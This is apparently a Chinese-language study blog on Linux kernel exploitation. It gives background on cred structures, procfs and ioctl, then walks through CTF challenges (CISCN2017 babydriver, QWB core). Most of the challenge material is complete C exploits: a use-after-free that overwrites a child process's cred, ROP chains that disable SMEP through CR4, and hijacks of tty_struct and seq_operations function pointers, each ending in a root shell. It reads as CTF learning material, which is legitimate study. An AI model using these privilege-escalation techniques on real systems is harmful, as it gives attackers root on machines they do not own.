level1:初探kernel pwn笔记

一些零散基础知识点

cred权限

进程权限管理,task_struct的源码:

1
2
3
4
5
6
7
8
9
10
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred:

  • ptracer_cred:使用ptrace系统调用跟踪该进程的上级进程的cred(gdb调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)
  • real_cred:客体凭证objective cred),通常是一个进程最初启动时所具有的权限
  • cred:主体凭证subjective cred),该进程的有效cred,kernel以此作为进程权限的凭证

其中最关键的进程权限凭证:cred结构体,定义于内核源码include/linux/cred.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
...

prepare_kernel_cred()函数中,若传入的参数为NULL,则会缺省使用init进程的cred作为模板进行拷贝,即可以直接获得一个标识着root权限的cred结构体

io

(house系列的io要跟着做了:))

进程文件系统

进程文件系统(process file system, 简写为procfs)用以描述一个进程,其中包括该进程所打开的文件描述符、堆栈内存布局、环境变量等等

进程文件系统本身是一个伪文件系统,通常被挂载到/proc目录下,并不真正占用储存空间,而是占用一定的内存

当一个进程被建立起来时,其进程文件系统便会被挂载到/proc/[PID]下,我们可以在该目录下查看其相关信息

文件描述符

进程通过文件描述符file descriptor)来完成对文件的访问,其在形式上是一个非负整数,本质上是对文件的索引值,进程所有执行 I/O 操作的系统调用都会通过文件描述符

每个进程都独立有着一个文件描述符表,存放着该进程所打开的文件索引,每当进程成功打开一个现有文件/创建一个新文件时(通过系统调用open进行操作),内核会向进程返回一个文件描述符

在kernel中有着一个文件表,由所有的进程共享

stdin、stdout、stderr

每个*NIX进程都应当有着三个标准的POSIX文件描述符,对应着三个标准文件流:

  • stdin:标准输入 - 0
  • stdout:标准输出 - 1
  • stderr:标准错误 - 2

此后打开的文件描述符应当从标号3起始

系统调用:ioctl

在*NIX中一切都可以被视为文件,因而一切都可以以访问文件的方式进行操作,为了方便,Linux定义了系统调用ioctl供进程与设备之间进行通信

系统调用ioctl是一个专用于设备输入输出操作的一个系统调用,其调用方式如下:

1
int ioctl(int fd, unsigned long request, ...)
  • fd:设备的文件描述符
  • request:请求码

Loadable Kernel Modules(LKMs)

可装载内核模块Loadable Kernel Modules,简称LKMs),位于内核空间的LKMs可以提供新的系统调用或其他服务,用于拓展内核服务.

通常与LKM相关的命令有以下三个:

  • lsmod:列出现有的LKMs
  • insmod:装载新的LKM(需要root)
  • rmmod:从内核中移除LKM(需要root)

lsmod特别关注

入门例题-CISCN2017-babydriver

题目附件打开就是3个文件

1
2
3
4
.
├── boot.sh # 启动脚本,运行这个脚本来启动QEMU
├── bzImage # 压缩过的内核镜像
└── rootfs.cpio # 作为初始RAM磁盘的文件

之后再查看boot.sh内容,一堆看不懂的内容:),这个题在运行以后发现是一个提权题目。

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \ # 指定使用rootfs.cpio作为初始RAM磁盘。可以使用cpio 命令提取这个cpio文件,提取出里面的需要的文件,比如init脚本和babydriver.ko的驱动文件。提取操作的命令放在下面的操作步骤中
-kernel bzImage \ # 使用当前目录的bzImage作为内核镜像
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ # 使用后面的字符串作为内核命令行
-enable-kvm \ # 启用加速器
-monitor /dev/null \ # 将监视器重定向到字符设备/dev/null
-m 64M \ # 参数设置RAM大小为64M
--nographic \ # 参数禁用图形输出并将串行I/O重定向到控制台
-smp cores=1,threads=1 \ # 参数将CPU设置为1核心1线程
-cpu kvm64,+smep # 参数选择CPU为kvm64,开启了smep保护,无法在ring 0级别执行用户代码

发现题目并没有提供vmlinux文件,找gadget的话需要vmlinux文件,可以在github上找到脚本,extract-vmlinux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

之后运行脚本得到vmlinux,再使用ropper得到vmlinux的gadget

1
2
./extract-vmlinux ./bzImage > vmlinux
ropper --file ./vmlinux --nocolor > g1

之后因为rootfs.cpio是启动内核的RAM文件,他是gz后缀我们就需要把它的后缀gz加上再解压出来

1
gunzip rootfs.cpio.gz

为了方便的话创建一个新的core文件来进行存储

1
mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio

之后cd到core查看init文件夹,打开文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko # insmod命令加载了一个名为babydriver.ko的驱动,根据一般的PWN题套路,这个就是有漏洞的LKM了
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f

之后再提取出来babydriver.io放进ida分析

发现了三个主要函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
#单纯的free函数

int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}

#发现是申请一块64字节的空间,储存在device_buf中,但在调试中可以发现!!!!device_buf是全局变量!!!!

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
#发现是释放device_buf再重修申请一个
return 0LL;
}
else
{
printk(&unk_2EB);
return -22LL;
}
}

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
result = v6;
}
return result;
}
#与read函数相反分析
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer, babydev_struct.device_buf, v4);
result = v6;
}
return result;
}
#可见是一个比较大小以后拷贝内容进device_buf,但是这个fentry不是很了解,以后注意这个函数的调用

漏洞利用的话很明显的发现,baby_struct在全局变量上,利用方法就是ioctl同时打开两个设备,一个kfree一个不,就会造成一个uaf,之后再fork,把新进程的cred与之前的空间重叠,修改uid和gid为0就可以提权,同时修改的时候需要知道cred结构大小为cred为0xa8,不同版本的内核源码,结构不同记录一下!!

同时由babydriver_init可以看到

1
alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 

open的是dev/babydev

exp学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}

整个流程的话大概是我们先分配两个设备,之后利用ioctl可以重试设置申请struct大小的设置,分配成cred大小,之后再第二进程里面利用uaf溢出编写到cred_read的uid为0,进行提权。

reference

https://www.anquanke.com/post/id/258874#h2-23

https://www.bbsmax.com/A/kmzLN4EW5G/

Level2:ret2usr+tty_struct+seq_operations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
ropper --file ./vmlinux --nocolor > gadget 
find . | cpio -o --format=newc > ./rootfs.cpio
gcc ./exp.c -o exp -masm=intel --static
#常用指令
-----------------------------------------------------------------------------------------------------------------
#init脚本
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>


size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}



int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;


}

UAF-ret2usr-core-强网杯

整体思路也就是泄露libc,栈溢出调用 (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));返回用户态执行shell

但是在kpti页保护以后就无法利用了(KPTI通过完全分离用户空间与内核空间页表来解决页表泄露)开启了smep之后同样不能直接使用ret2usr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

baby-driver—tty_strct+Kernel UAF + stack migitation + SMEP bypass + ret2usr

本题主要关键在于tty_struct的攻击在0x2e0大小的tty_struct结构体,

1
2
3
int fd_tty=open("dev/ptmx",O_RDWR | O_NOCTTY);
size = 0x2e0
version < 4.15

中存在偏移为18的const struct tty_operations *ops的指针中存在偏移为38的write,类似house of orange,截止执行流write为我们构造的rop链。本题难度在于调试我们已知ops中write的位置但是不知道劫持write为rop链以后的操作,于是把tty_operations_fake[7] = babyread函数来查看(方便断点查看),发现恰好在调用write是rax恰好指向的是tty_operations_fake的开头如下图所示,之后再构造rop链即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
tty_operations_fake:7ffd5ff453e0
----------------------------------------------------
*RAX 0x7ffd5ff453e0 —▸ 0xffffffff818855cf ◂— mov rsp, rax /* 0x66b5ebcbffc48948 */
*RBX 0xffff880007910400 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */
*RCX 0xffff880007910638 —▸ 0xffff88000796bdb0 ◂— cmp byte ptr [rsi], al /* 0xffff880007910638 */
RDX 0x20
*RDI 0xffff880007910400 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */
*RSI 0xffff880007911400 ◂— 0
*R8 0x1
*R9 0xffff8800063ca8a0 ◂— mov dh, 0x21 /* 0x521b6 */
R10 0x0
R11 0x246
*R12 0x20
*R13 0xffff880007911400 ◂— 0
*R14 0xffffc900000702b0 ◂— 0
*R15 0xffff88000795cd00 ◂— 0
*RBP 0xffff88000796bde8 —▸ 0xffff88000796be48 —▸ 0xffff88000796bec8 —▸ 0xffff88000796bf08 —▸ 0xffff88000796bf48 ◂— ...
*RSP 0xffff88000796bd68 —▸ 0xffffffff813aa31f ◂— mov rdi, r14 /* 0x6e8c78941f7894c */
RIP 0xffffffffa0000160 (babyread) ◂— mov rdi, rsi /* 0x6d6358b48f78948 */
───────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────
► 0xffffffffa0000160 <babyread> mov rdi, rsi
------------------------------------------------
// test.c
// gcc test.c -static -masm=intel -o test
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<errno.h>

size_t pkc_addr = 0xffffffff81070260;
size_t cc_addr = 0xffffffff8106fed0;
void get_root(){
char* (*pkc)(int) = pkc_addr;
void (*cc)(char*) = cc_addr;
(*cc)((*pkc)(0));
}

void get_shell(){
system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main(){
save_status();

size_t mov_rsp_rax = 0xffffffff818855cf; // mov rsp, rax ; dec ebx ; jmp 0xffffffff8188558b
size_t pop_rax = 0xffffffff8101c216; // pop rax; ret;

size_t rop_chain[30] = {0};
int index = 0;
rop_chain[index++] = 0xffffffff8101c216; // pop rax; ret;
rop_chain[index++] = 0x6f0;
rop_chain[index++] = 0xffffffff8100f034; // mov cr4,rax; pop rbp; ret
rop_chain[index++] = 0x0;
rop_chain[index++] = (size_t)get_root;
rop_chain[index++] = 0xffffffff81885588; // swapgs; ret
rop_chain[index++] = 0xffffffff81884177; // iretq;
rop_chain[index++] = (size_t)get_shell;
rop_chain[index++] = user_cs;
rop_chain[index++] = user_rflags;
rop_chain[index++] = user_sp;
rop_chain[index++] = user_ss;

size_t tty_operations_fake[30];
printf("tty_operations_fake:%llx\n", tty_operations_fake);
for(int j=0;j<30;j++){
tty_operations_fake[j]=mov_rsp_rax;
}
// tty_operations_fake[7] = 0xffffffffa0000160;


int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0x2e0);
close(fd1);

int fd_tty = open("dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0){
printf("[+] cannot open /dev/ptmx\n");
printf("[+] ptmx errorno: %d\n",errno);
goto exit;
}

size_t tty_struct_leak[4];
read(fd2,tty_struct_leak,32);

tty_operations_fake[0] = pop_rax;
tty_operations_fake[1] = (size_t)rop_chain;
tty_operations_fake[2] = mov_rsp_rax;

tty_struct_leak[3] = (size_t)tty_operations_fake;
write(fd2,tty_struct_leak,32);

size_t a[4] = {0,0,0,0};
write(fd_tty,a,32);
// ioctl(fd_tty,0x100,32);
exit:
close(fd2);
return 0;
}

baby-driver—seq_operations+Kernel UAF + stack migitation + SMEP bypass + kpti(不能ret2usr)

在内核版本4.15以后申请open(“/dev/ptmx”)第一个结构体不是tty!

1
2
fd_stat = open("/proc/self/stat",0);
size = 0x20

简单来说的调用就是在read对于stat设备的时候会进行一个了一个p = m->op->start(m, &m->index);

具体调试来说其实stop其实也会在read的时候调用:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

--------------------------------
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...

那么start就可以被我们劫持利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// test.c
// gcc test.c -static -masm=intel -o test
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

int fd_stat;
__uint64_t temp_buf[4];
__uint64_t pop_rax_ret = 0xffffffff8101c216; // pop rax ; ret
__uint64_t mov_rsp_rax_ret = 0xffffffff818855cf; // mov rsp, rax ; dec ebx ; jmp 0xffffffff8188558b
__uint64_t mov_cr4_rax_ret = 0xffffffff8100f034; // mov cr4,rax; pop rbp; ret
__uint64_t swapgs_ret = 0xffffffff81885588; // swapgs; ret
__uint64_t iretq = 0xffffffff81884177; // iretq

__uint64_t fake_stack[20];
__uint64_t fake_stack_addr = &fake_stack;

size_t user_cs, user_rflags, user_sp, user_ss;
void save_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

__uint64_t commit_creds = 0xffffffff8106fed0;
__uint64_t prepare_kernel_cred = 0xffffffff81070260;
void get_root(){
void* (*pkc)(int) = prepare_kernel_cred;
int (*cc)(void*) = commit_creds;
(*cc)((*pkc)(0));
}

void get_shell(){
system("/bin/sh");
}

int main(){
save_status();

printf("fake_stack_addr: 0x%llx\n",fake_stack_addr);
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0x20);
close(fd1);

fd_stat = open("/proc/self/stat",0);

__uint64_t gadget1 = 0xffffffff815f5951; // add rsp,0x108; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret
print("&gadget1 = %llx", &gadget1);
write(fd2,&gadget1,8);
// char* gadget1_addr = "\x51\x59\x5f\x81\xff\xff\xff\xff\xff";
// write(fd2,gadget1_addr,8);

// 1. change rsp
// 2. rc4 = 0x6f0
// 3. swapgs;iret
// 4. system("/bin/sh")
fake_stack[0] = pop_rax_ret;
fake_stack[1] = 0x6f0;
fake_stack[2] = mov_cr4_rax_ret;
fake_stack[3] = 0xffff; // rbp, padding
fake_stack[4] = get_root;
fake_stack[5] = swapgs_ret;
fake_stack[6] = iretq;
fake_stack[7] = get_shell;
fake_stack[8] = user_cs;
fake_stack[9] = user_rflags;
fake_stack[10] = user_sp;
fake_stack[11] = user_ss;
//b 0x4019ee
__asm__(
"mov r15, 0x15151515;"
"mov r14, 0x14141414;" // 4
"mov r13, mov_rsp_rax_ret;" // 3
"mov r12, fake_stack_addr;" // 2
"mov r11, 0x11111111;"
"mov r10, 0x10101010;" // r10
"mov rbp, 0xbbbbbbbb;" // 5
"mov rbx, pop_rax_ret;" // 1
"mov r9, 0x99999999;" // r9
"mov r8, 0x88888888;" //r8
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x20;"
"mov rsi, temp_buf;"
"mov rdi, fd_stat;"
"syscall"
);

close(fd_stat);
close(fd2);

return 0;
}

关键调试如下展示,本题我们关闭了保护方便调试:),我们在申请的结构体seq_operations start的内容随便一条gadget进行断点,执行到start后停止。太抽象了,最重要的还是慢慢调试吧:(

1
2
3
4
5
6
7
此时rsp为0xffff8800055e7df0
---------------------------------------------------------------------------------------
27:0138│ 0xffff8800055e7f28 —▸ 0xffffffff8101c216 ◂— pop rax /* 0x4d417ec08500c358 */
28:0140│ 0xffff8800055e7f30 —▸ 0x4ca380 —▸ 0xffffffff8101c216 ◂— pop rax /* 0x4d417ec08500c358 */
--------------------------------------------------------------------
0x4ca380这个地址就是rop链的地址
我们的目的就是控制rsp到0xffff8800055e7f28,ret以后再进入0xffff8800055e7f30,pop rax在mov rsp rax就可以跳到我们构造的rop链。当然pop rax是我们构造的具体情况具体分析了。